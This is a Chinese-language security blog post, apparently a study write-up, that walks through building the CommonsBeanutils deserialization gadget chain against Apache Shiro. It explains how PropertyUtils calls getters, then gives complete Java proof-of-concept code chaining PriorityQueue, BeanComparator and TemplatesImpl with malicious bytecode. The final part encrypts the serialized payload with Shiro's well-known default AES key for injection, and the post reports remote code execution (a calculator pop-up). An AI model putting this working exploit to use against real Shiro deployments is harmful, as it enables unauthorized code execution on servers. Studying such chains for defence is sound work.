shiro无CC打CB依赖

GTL-JU Lv3

一、前言

在前面我们分析了shiro打CC依赖,但是shiro默认是没有CommonCollections依赖的,那么如果没有CC依赖我们想要进行利用,就有使用shiro默认的依赖去打。

那我们这里可以先看一下shiro默认的依赖有那些:

image-20231019105944821

我们可以看到在shiro默认的包中有一个commons-beanutils包。这也就是我们在无CC依赖的情况下可以利用的包。

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法。具体的可以看这篇文章https://www.liaoxuefeng.com/wiki/1252599548343744/1260474416351680

二、JavaBean

我们这里简单的来学习一下什么是javabean,javabean其实就是一个概念

我们这里通过一个小demo来看一下:

person类:

1
2
3
4
5
6
7
8
9
10
public class Person {
private String name;
private int age;

public String getName() { return this.name; }
public void setName(String name) { this.name = name; }

public int getAge() { return this.age; }
public void setAge(int age) { this.age = age; }
}

test类:

1
2
3
4
5
6
7
8
9
public class test {
public static void main(String[] args) {
Person person=new Person();
person.setAge(12);
person.setName("hacker");
System.out.println(person.getAge());
System.out.println(person.getName());
}
}

运行结果:

image-20231031104849725

在java中我们经常会使用set和get方法去设置和获取属性值

那么这里Person就被称为javabean

如果读写方法符合以下这种命名规范:

1
2
3
4
// 读方法:
public Type getXyz()
// 写方法:
public void setXyz(Type value)

这种class就被称为javabean

JavaBean是一种用于构建可重用组件的Java类的规范。它不是Java语言的某种特定类型,而是一种编程规范,用于创建可移植、可重用的Java对象。JavaBean通常是无状态的、可序列化的、具有无参构造函数的类,它们通过提供getter和setter方法来封装对象的属性。

然后commons-beanutils中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意JavaBean的getter方法,而不用在通过函数去调用。

1
2
3
4
5
6
7
8
9
public class test {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
Person person=new Person();
person.setName("hacker");
person.setAge(12);
System.out.println(PropertyUtils.getProperty(person, "name"));
System.out.println(PropertyUtils.getProperty(person, "age"));
}
}

运行结果:

image-20231031114923819

我们这里打断点调一下,看他是怎么获取的,底层是如何实现的

在上面我们是通过PropertyUtils类的getProperty方法去获取get方法的,那我们这里跟进这个方法看一下

image-20231031145744508

ropertyUtilsBean.getInstance():这部分获取了PropertyUtilsBean的实例,PropertyUtilsBean是Apache Commons BeanUtils库中用于访问JavaBean属性的工具类。

然后使用PropertyUtilsBeangetProperty方法来获取给定JavaBean对象(bean)的指定属性(name)的值。

最终返回从JavaBean对象中获取的属性值,这个值被封装为Object类型。

我们继续跟进这个getProperty方法

image-20231031150255706

这里传入两个参数一个是我们的javabean对象,一个是要获取的属性名

然后调用getNestedProperty()方法进行处理

我们这里跟进去看一下

image-20231031150517927

首先就判断javabean对象和要获取的属性名是否为空

中间部分就是通过一个 循环使用了一些分隔符来处理复杂的属性名,例如嵌套属性。

中间这部分我们就不看了,直接看核心获取属性值的这部分代码

image-20231031152505615

这个地方也就是通过判断属性名的类型以不同方式获取 JavaBean 对象的属性值

首先会先判断我们的javabean对象是不是一个map类型的

是map类型则会调用bean = ((Map) bean).get(name);通过这个get方法从map中获取属性值

不是则继续判断是不是indexOfMAPPED_DELIMindexOfINDEXED_DELIM的值是否大于0

其实上面还要两行代码就是这个两个属性的值的获取

1
2
indexOfINDEXED_DELIM = name.indexOf(PropertyUtils.INDEXED_DELIM);
indexOfMAPPED_DELIM = name.indexOf(PropertyUtils.MAPPED_DELIM);

两行代码的目的是在属性名字符串 name 中查找索引属性分隔符和映射属性分隔符的位置。

但是很明显我们传入进来的没有索引属性和映射属性

image-20231031153422527

所以这里的值都是-1

image-20231031153445152

为什么是-1这是我们在上面初始化的时候定义的,如果查找到有索引属性和映射属性就将属性位置赋值给变量

那这里这两个if的作用就很明显了判断是否是索引属性或者映射属性,是的话调用相应的方法去处理

,不是则继续向下走。

我们这里就传入了一个name属性,很明显都不符合上面的要求,那么就会进入到else里面

image-20231031153728719

我们这里会调用getSimpleProperty方法去处理我们的属性,获取属性值

我们继续跟进到这个方法

image-20231031160135094

这个方法的前半部分还是在判读bean对象和属性名是否存在,然后后面就判读是否包含特定的属性分隔符,也就是我们在前面说的索引属性或者映射属性。如果包含,则抛出相应的异常。这是一种验证机制,用于确保属性名不包含嵌套属性、索引属性或映射属性的分隔符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PropertyDescriptor descriptor =getPropertyDescriptor(bean, name);
if (descriptor == null) {
throw new NoSuchMethodException("Unknown property '" +
name + "'");
}
Method readMethod = getReadMethod(descriptor);
if (readMethod == null) {
throw new NoSuchMethodException("Property '" + name +
"' has no getter method");
}

// Call the property getter and return the value
Object value = invokeMethod(readMethod, bean, new Object[0]);
return (value);

}

然后真正的处理方法是getPropertyDescriptor。

PropertyDescriptor 是Java Beans API中的一个类,它包含了有关属性的信息,包括属性的getter和setter方法。

getPropertyDescriptor方法的目的是获取与属性名匹配的属性描述符。如果找不到匹配的属性描述符,descriptor 将为 null。然后经过if判读将抛出异常。

如果获取到了属性描述符,则会通过 getReadMethod方法获取相应的getter方法。

1
Method readMethod = getReadMethod(descriptor);

如果找到了属性描述符,代码会调用 getReadMethod 方法来获取属性的getter方法。

getReadMethod 方法是用于从属性描述符中获取getter方法的工具方法。如果找不到getter方法,readMethod 将为 null。抛出异常

image-20231031163200522

image-20231031163208266

我们传入的是name属性,通过调试信息可以看到这里获取到了属性描述符,也根据属性描述符获取到了name的get方法也就是getName()方法。

image-20231031163323611

然后就是一个反射调用我们获取到的get方法

image-20231031163355725

我们跟进去可以看到这里就是通过反射调用getName()方法去获取到我们的属性值,然后返回。

image-20231031163716087

可以看到这里就已经获取到属性值返回了。

那么分析到这里我们对PropertyUtils类的这个getProperty方法是如何调用目标类的get方法去获取属性值的流程有了了解。

那么我们通过这个getProperty方法就可以执行任意类的getter方法,那么我们如果可以找到一哥getter方法是存在危险利用的或者其能够执行任意代码,那我们就可以进行进一步的利用。

三、构造CB链

在我们前面分析CC3动态类加载恶意字节码的时候用到了TemplatesImpl类,我们是通过TemplatesImpl类newTransformer()方法去调用getTransletInstance()方法调用defineTransletClasses()方法进行类加载字节码进行命令执行。

在CC3中我们是通过invokertransform类的transform方法去调用这个newTransform方法

但是在TemplatesImpl类也存在一个getOutputProperties方法可以去调用newTransfomr方法:

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

在getOutputProperties()里是调用了newTransformer()方法。

而且我们这里观察这个getOutputProperties()是符合javabean的格式的一个方法。

那么我们通过getProperty方法去调用getOutputProperties()方法也是可以调用成功,那么就可以调用newtransform进而调用动态类加载恶意字节码的后续利用链进行代码执行。那么到这里我们就找到了一个在CB下面的代码执行点。

那我们这里就只需要通过getProperty方法去获取OutputProperties属性值就可以了。

1
PropertyUtils.getProperty(templates,"outputProperties");

那我们这里就可以调用到newTranform,后续的就还是CC3中动态加载字节码那一套了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.PropertyUtils;

import javax.xml.transform.Templates;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;

public class test {
public static void main(String[] args) throws Exception {
Person person=new Person();
person.setName("hacker");
person.setAge(12);
Templates templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:\\MAVEN\\maven-repository\\cc6\\cc61\\src\\main\\java\\leijiazai\\HelloTemplatesImpl.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates,"_name","111");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
PropertyUtils.getProperty(templates,"outputProperties");
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field filed = obj.getClass().getDeclaredField(fieldName);
filed.setAccessible(true);
filed.set(obj, value);
}
}

运行测试:

image-20231031170542682

可以看到我们这里弹出计算器的命令执行成功了,说明我们后续的利用链成功调用了。

那么我们要构造的是一个反序列化链,剩下就还是向上找哪里调用了getProperty方法,最终找到一个readObject方法。那这还是我们前面找CC链那一套。那我们这里就是向上找getProperty方法的调用:

image-20231031172347359

可以看到在cb库中可以使用的方法不是很多

image-20231031172240781

我们这里使用的是commons.beanutils库中的BeanComparator类中的compare方法

image-20231031172523556

1
2
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );

我们可以看到这里调用了getProperty方法,这里应该也是要通过getProperty方法去获取属性值的,o1和o2都是compare传递进来都是可控的。

image-20231031172948974

这个property也是可控的。那么这个compare就是可以利用的。

那么我下面就是要找compare的调用.

关于compare方法的调用,我们其实可以想到我们在CC4和CC2中用到过compare方法

在CC4中我们是通过compare方法去触发chainTransformer类的transform方法。进行去触发后续的利用链。

在CC4和CC2中我们是通过priorityQueue这个类的 siftDownUsingComparator方法去触发的compare方法。

image-20231031173807933

在priorityQueue的siftDownUsingComparator方法中是通过comparator去触发的compare方法

image-20231031173855396

而comparator是priorityQueue的构造方法传递的,是可控的,那么我们就可以通过这里去触发compare方法进而触发getProperty方法去触发后续利用链。

那么到这里就和我们前面分析CC4串起来了。我们可以使用CC4的中的入口点去触发后续利用链。

我们这里先回顾一些CC4中的入口点。

image-20231031174301451

我们是通过priorityQueue类的readObject方法去调用heapify()方法

image-20231031174349812

然后去调用siftDown方法

image-20231031174404276

调用siftDownUsingComparator方法。

image-20231031174423347

最终调用到compare方法。

那么到这里我们CB利用链就很清晰了。

image-20231031175118727

那我们这里就可以构造我们的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;


public class test {
public static void main(String[] args) throws Exception {

Templates templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:\\MAVEN\\maven-repository\\cc6\\cc61\\src\\main\\java\\leijiazai\\HelloTemplatesImpl.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates,"_name","111");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator("outputProperties",null);

PriorityQueue priorityQueue = new PriorityQueue(beanComparator);
priorityQueue.add(templates);
priorityQueue.add("2222");
serializable(priorityQueue);
unserializable()

}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field filed = obj.getClass().getDeclaredField(fieldName);
filed.setAccessible(true);
filed.set(obj, value);
}
public static void serializable(Object obj) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}

// 反序列化
public static void unserializable() throws Exception {
ObjectInputStream out = new ObjectInputStream(new FileInputStream("ser.bin"));
out.readObject();
}
}

运行:

image-20231031185851157

这里抛出了一个异常。

在第二个add处打一个断点

跟进去调试一下:

image-20231031190137166

正常调用add添加数据

image-20231031190201981

然后调用到siftup方法然后调用siftUpUsingComparator(k, x);

image-20231031190320681

到这里就是调用compare跟进后续利用链

image-20231031190629805

后面就是调用getProperty()方法触发getoutputProperties方法,后面的通过getProperty()方法去触发到getoutputProperties方法的过程不在跟进分析了,直接跳进到抛出异常的地方

image-20231031190945188

这个地方就很熟悉了。我们在上面分析getProperty()方法获取属性值的流程中,最终是到了PropertyUtilsBean类的getSimpleProperty()方法里面。

在这个方法里面通过PropertyDescriptor descriptor =getPropertyDescriptor(bean, name);去获取到属性标识符,然后通过属性标识符去获取到属性的get方法,最终通过反射调用获取属性值。

但是在调试中我们可以看到这个descriptor的值是为null的

image-20231031191256878

这说明我们并没有获取到属性表示符,导致抛出了异常。

我们这里可以跟进去到这个getPropertyDescriptor里面看一下

1
2
3
4
5
6
7
8
9
PropertyDescriptor[] descriptors = getPropertyDescriptors(bean);
if (descriptors != null) {

for (int i = 0; i < descriptors.length; i++) {
if (name.equals(descriptors[i].getName())) {
return (descriptors[i]);
}
}
}

这里获取属性表示符,就是通过 getPropertyDescriptors(bean);获取与给定 JavaBean 对象相关的属性描述符的数组。然后通过循环遍历与目标属性进行比对,如果匹配则会返回,不匹配继续循环。

那么这里抛出的异常的原因就是目标属性名与获取到与javabean对象相关的属性描述符的数组没有一个匹配的。

至于为什么匹配不成功

image-20231031192848860

我们这里的javabean就是我们的传入的222,但是我们要找的属性名是outputProperties,他的get方法是在TemplatesImpl();里面的。那我们在222里面去找他的属性标识符那肯定是找不到的,因为222压根就不是一个类。

当然了,这里解决也很好解决,直接把222改成TemplatesImpl();就行了

那我们这里可以来尝试一些:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public class test {
public static void main(String[] args) throws Exception {

Templates templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:\\MAVEN\\maven-repository\\cc6\\cc61\\src\\main\\java\\leijiazai\\HelloTemplatesImpl.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates,"_name","111");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator("outputProperties",null);

PriorityQueue priorityQueue = new PriorityQueue(beanComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
serializable(priorityQueue);
//unserializable();

}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field filed = obj.getClass().getDeclaredField(fieldName);
filed.setAccessible(true);
filed.set(obj, value);
}
public static void serializable(Object obj) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}

// 反序列化
public static void unserializable() throws Exception {
ObjectInputStream out = new ObjectInputStream(new FileInputStream("ser.bin"));
out.readObject();
}
}

image-20231031193131789

可以看到确实弹出了计算器,但是我们这里并没有进行反序列化,但却弹出来了计算器

这里和前面分析CC4的没有反序列化就弹出来了计算器的原因是一样的,我们这里add添加了templates

img

这里我们在CC4中已经说过了,添加两个数据就会导致这个循环条件成立,从而导致调用了后续利用链

但是我们这里不改就会导致抛出异常,无法调用后续利用链

我们这里可以想到我们在CC4中用的是TransformingComparator的compare方法去触发的后续利用链,那我们这里可以先让PriorityQueue类的comparator属性赋值为TransformingComparator,然后再反序列化前再改回来。

当然这里会有一个疑问,我们这里打的不是无CC依赖吗,为什么还使用CC依赖里面的类。其实这里无所谓的,我们这里只是为了过了这个异常,当我们这里过了这个异常后吗,再修改回来就行,虽然目标服务器可能没有这个cc依赖,但是我们本地有,而且我们再反序列化前就把他改成正确的类了,不影响再服务器上面的正常执行。

最终POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class Beantest {
public static void main(String[] args) throws Exception{
Templates templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:\\MAVEN\\maven-repository\\cc6\\cc61\\src\\main\\java\\leijiazai\\HelloTemplatesImpl.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates,"_name","111");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
BeanComparator beanComparator = new BeanComparator("outputProperties",null);

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add("2222");

Class<PriorityQueue> cl = PriorityQueue.class;
Field comparatorFiled = cl.getDeclaredField("comparator");
comparatorFiled.setAccessible(true);
comparatorFiled.set(priorityQueue,beanComparator);

serializable(priorityQueue);
unserializable();
}

public static void serializable(Object obj) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}

// 反序列化
public static void unserializable() throws Exception {
ObjectInputStream out = new ObjectInputStream(new FileInputStream("ser.bin"));
out.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field filed = obj.getClass().getDeclaredField(fieldName);
filed.setAccessible(true);
filed.set(obj, value);
}
}

运行测试:

image-20231031195224455

可以看到本地弹出计算器成功。

四、shiro打CB依赖

我们这里尝试去打shiro

还是先aes加密编码:

1
2
3
4
5
6
7
8
9
10
11
12
public class test{
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("sercb1.bin"));

AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}

替换

image-20231031201238707

可以看到成功执行了。

  • 标题: shiro无CC打CB依赖
  • 作者: GTL-JU
  • 创建于: 2023-10-31 20:14:40
  • 更新于: 2023-10-31 20:17:03
  • 链接: https://gtl-ju.github.io/2023/10/31/shiro打.CommonsBeanutils依赖与/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。